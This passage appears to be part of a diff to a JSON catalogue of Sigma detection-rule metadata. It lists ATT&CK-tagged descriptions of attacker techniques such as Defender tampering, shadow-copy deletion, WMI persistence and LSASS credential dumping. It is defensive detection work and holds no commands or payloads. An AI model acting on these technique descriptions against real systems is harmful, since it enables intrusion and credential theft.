"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2022/01/15", + "filename": "posh_ps_susp_start_process.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.", + "uuid": "5947497f-1aa4-41dd-9693-c9848d58727d", + "value": "Suspicious Unblock-File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ], + "creation_date": "2022/02/01", + "filename": "posh_ps_susp_unblock_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n", + "uuid": "c5ac6a1e-9407-45f5-a0ce-ca9a0806a287", + "value": "Replace Desktop Wallpaper by Powershell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml" + ], + "tags": [ + "attack.impact", + "attack.t1491.001" + ], + "creation_date": "2021/12/26", + "filename": "posh_ps_susp_wallpaper.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.", + "uuid": "b26647de-4feb-4283-af6b-6117661283c5", + "value": "Powershell Suspicious Win32_PnPEntity", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1120" + ], + "creation_date": "2021/08/23", + "filename": "posh_ps_susp_win32_pnpentity.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Admin script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "uuid": "e17121b4-ef2a-4418-8a59-12fb1631fa9e", + "value": "Delete Volume Shadow Copies via WMI with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/12/26", + "filename": "posh_ps_susp_win32_shadowcopy.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "uuid": "c1337eb8-921a-4b59-855b-4ba188ddcc42", + "value": "Deletion of Volume Shadow Copies via WMI with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/09/20", + "filename": "posh_ps_susp_win32_shadowcopy_deletion.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n", + "uuid": "313fbb0a-a341-4682-848d-6d6f8c4fab7c", + "value": "Suspicious PowerShell WindowStyle Option", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.003" + ], + "creation_date": "2021/10/20", + "filename": "posh_ps_susp_windowstyle.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"Write-EventLog\" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use", + "uuid": "35f41cd7-c98e-469f-8a02-ec4ba0cc7a7e", + "value": "PowerShell Write-EventLog Usage", + "meta": { + "refs": [ + "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/16", + "filename": "posh_ps_susp_write_eventlog.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate applications writing events via this cmdlet. Investigate alerts to determine if the action is benign" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "uuid": "b7a3c9a3-09ea-4934-8864-6a32cacd98d9", + "value": "Zip A Folder With PowerShell For Staging In Temp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ], + "creation_date": "2021/07/20", + "filename": "posh_ps_susp_zip_compress.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", + "uuid": "dddfebae-c46f-439c-af7a-fdb6bde90218", + "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/05", + "filename": "posh_ps_syncappvpublishingserver_exe.yml", + "author": "Ensar \u015eamil, @sblmsrsn, OSCD Community", + "level": "medium", + "falsepositive": [ + "App-V clients" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell scripts attempting to disable scheduled scanning and other parts of windows defender atp or set default actions to allow.", + "uuid": "14c71865-6cd3-44ae-adaa-1db923fae5f2", + "value": "Tamper Windows Defender - ScriptBlockLogging", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", + "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/01/16", + "filename": "posh_ps_tamper_defender.yml", + "author": "frack113, elhoim", + "level": "high", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", + "uuid": "ae2bdd58-0681-48ac-be7f-58ab4e593458", + "value": "Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging", + "meta": { + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender_remove_mppreference.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/05", + "filename": "posh_ps_tamper_defender_remove_mppreference.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.\n", + "uuid": "adf876b3-f1f8-4aa9-a4e4-a64106feec06", + "value": "Testing Usage of Uncommonly Used Port", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell", + "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1571" + ], + "creation_date": "2022/01/23", + "filename": "posh_ps_test_netconnection.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may modify file time attributes to hide new or changes to existing files.\nTimestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.\n", + "uuid": "c6438007-e081-42ce-9483-b067fbef33c3", + "value": "Powershell Timestomp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://www.offensive-security.com/metasploit-unleashed/timestomp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ], + "creation_date": "2021/08/03", + "filename": "posh_ps_timestomp.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", + "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152", + "value": "Powershell Trigger Profiles by Add_Content", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_trigger_profiles.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.013" + ], + "creation_date": "2021/08/18", + "filename": "posh_ps_trigger_profiles.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of various web request POST or PUT methods (including aliases) via Windows PowerShell command", + "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb", + "value": "Windows PowerShell Upload Web Request", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", + "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2022/01/07", + "filename": "posh_ps_upload.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "uuid": "953945c5-22fe-4a92-9f8a-a9edc1e522da", + "value": "Abuse of Service Permissions to Hide Services Via Set-Service - PS", + "meta": { + "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2022/10/17", + "filename": "posh_ps_using_set_service_to_hide_services.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare intended use of hidden services", + "Rare FP could occure due to the non linearity of the ScriptBlockText log" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of various web request methods (including aliases) via Windows PowerShell command", + "uuid": "1139d2e2-84b1-4226-b445-354492eba8ba", + "value": "Windows PowerShell Web Request", + "meta": { + "refs": [ + "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", + "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/24", + "filename": "posh_ps_web_request.yml", + "author": "James Pemberton / @4A616D6573", + "level": "medium", + "falsepositive": [ + "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class", + "uuid": "91109523-17f0-4248-a800-f81d9e7c081d", + "value": "PowerShell WMI Win32_Product Install MSI", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/04/24", + "filename": "posh_ps_win32_product_install_msi.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.", + "uuid": "488b44e7-3781-4a71-888d-c95abfacf44d", + "value": "Windows Firewall Profile Disabled", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps", + "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", + "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", + "http://woshub.com/manage-windows-firewall-powershell/", + "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2021/10/12", + "filename": "posh_ps_windows_firewall_profile_disabled.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\nRegistry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are\nused to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to\nload and execute malicious DLLs and/or executables.\n", + "uuid": "851c506b-6b7c-4ce2-8802-c703009d03c0", + "value": "Winlogon Helper DLL", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ], + "creation_date": "2019/10/21", + "filename": "posh_ps_winlogon_helper_dll.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions", + "uuid": "c1344fa2-323b-4d2e-9176-84b4d4821c88", + "value": "Windows Defender Exclusions Added via Powershell", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/09/16", + "filename": "posh_ps_win_defender_exclusions_added.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects parameters used by WMImplant", + "uuid": "8028c2c3-e25a-46e3-827f-bbb5abf181d7", + "value": "WMImplant Hack Tool", + "meta": { + "refs": [ + "https://github.com/FortyNorthSecurity/WMImplant", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1059.001" + ], + "creation_date": "2020/03/26", + "filename": "posh_ps_wmimplant.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Administrative scripts that use the same keywords." + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", + "uuid": "9e07f6e7-83aa-45c6-998e-0af26efd0a85", + "value": "Powershell WMI Persistence", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.003" + ], + "creation_date": "2021/08/19", + "filename": "posh_ps_wmi_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts", + "uuid": "09658312-bc27-4a3b-91c5-e49ab9046d1b", + "value": "WMIC Unquoted Services Path Lookup", + "meta": { + "refs": [ + "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", + "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/06/20", + "filename": "posh_ps_wmi_unquoted_service_search.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", + "uuid": "6c6c6282-7671-4fe9-a0ce-a2dcebdc342b", + "value": "Powershell XML Execute Command", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/01/19", + "filename": "posh_ps_xml_iex.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects shellcode injection by Metasploit's migrate and Empire's psinject", + "uuid": "250ae82f-736e-4844-a68b-0b5e8cc887da", + "value": "Shellcode Injection", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_shellcode_inject_msf_empire.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2022/03/11", + "filename": "process_access_win_shellcode_inject_msf_empire.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Empire's csharp_exe payload uses 0x1f3fff for process enumeration as well" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious access to Lsass handle via a call trace to \"seclogon.dll\"", + "uuid": "472159c5-31b9-4f56-b794-b766faa8b0a7", + "value": "Suspicious LSASS Access Via MalSecLogon", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1541920424635912196", + "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", + "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_susp_seclogon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/06/29", + "filename": "process_access_win_susp_seclogon.yml", + "author": "Samir Bousseaden (original elastic rule), Nasreddine Bencherchali (sigma)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "uuid": "3b4b232a-af90-427c-a22f-30b0c0837b95", + "value": "CMSTP Execution Process Access", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003", + "attack.execution", + "attack.t1559.001", + "attack.g0069", + "attack.g0080", + "car.2019-04-001" + ], + "creation_date": "2018/07/16", + "filename": "proc_access_win_cmstp_execution_by_access.yml", + "author": "Nik Seetharaman", + "level": "high", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes", + "uuid": "09706624-b7f6-455d-9d02-adee024cee1d", + "value": "CobaltStrike BOF Injection Pattern", + "meta": { + "refs": [ + "https://github.com/boku7/injectAmsiBypass", + "https://github.com/boku7/spawn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/08/04", + "filename": "proc_access_win_cobaltstrike_bof_injection_pattern.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools", + "uuid": "32d0d3e2-e58d-4d41-926b-18b520b2b32d", + "value": "Credential Dumping Tools Accessing LSASS Memory", + "meta": { + "refs": [ + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002", + "car.2019-04-004" + ], + "creation_date": "2017/02/16", + "filename": "proc_access_win_cred_dump_lsass_access.yml", + "author": "Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community (update)", + "level": "high", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason; please add more filters" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.", + "uuid": "3f3f3506-1895-401b-9cc3-e86b16e630d0", + "value": "Direct Syscall of NtOpenProcess", + "meta": { + "refs": [ + "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_direct_syscall_ntopenprocess.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ], + "creation_date": "2021/07/28", + "filename": "proc_access_win_direct_syscall_ntopenprocess.yml", + "author": "Christian Burkard, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon", + "uuid": "d29ada0f-af45-4f27-8f32-f7b77c3dbc4e", + "value": "SysmonEnte Usage", + "meta": { + "refs": [ + "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", + "https://github.com/codewhitesec/SysmonEnte/", + "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hack_sysmonente.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/09/07", + "filename": "proc_access_win_hack_sysmonente.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles", + "uuid": "b1bd3a59-c1fd-4860-9f40-4dd161a7d1f5", + "value": "HandleKatz Duplicating LSASS Handle", + "meta": { + "refs": [ + "https://github.com/codewhitesec/HandleKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_handlekatz_lsass_access.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1003.001" + ], + "creation_date": "2022/06/27", + "filename": "proc_access_win_handlekatz_lsass_access.yml", + "author": "Bhabesh Raj (rule), @thefLinkk", + "level": "high", + 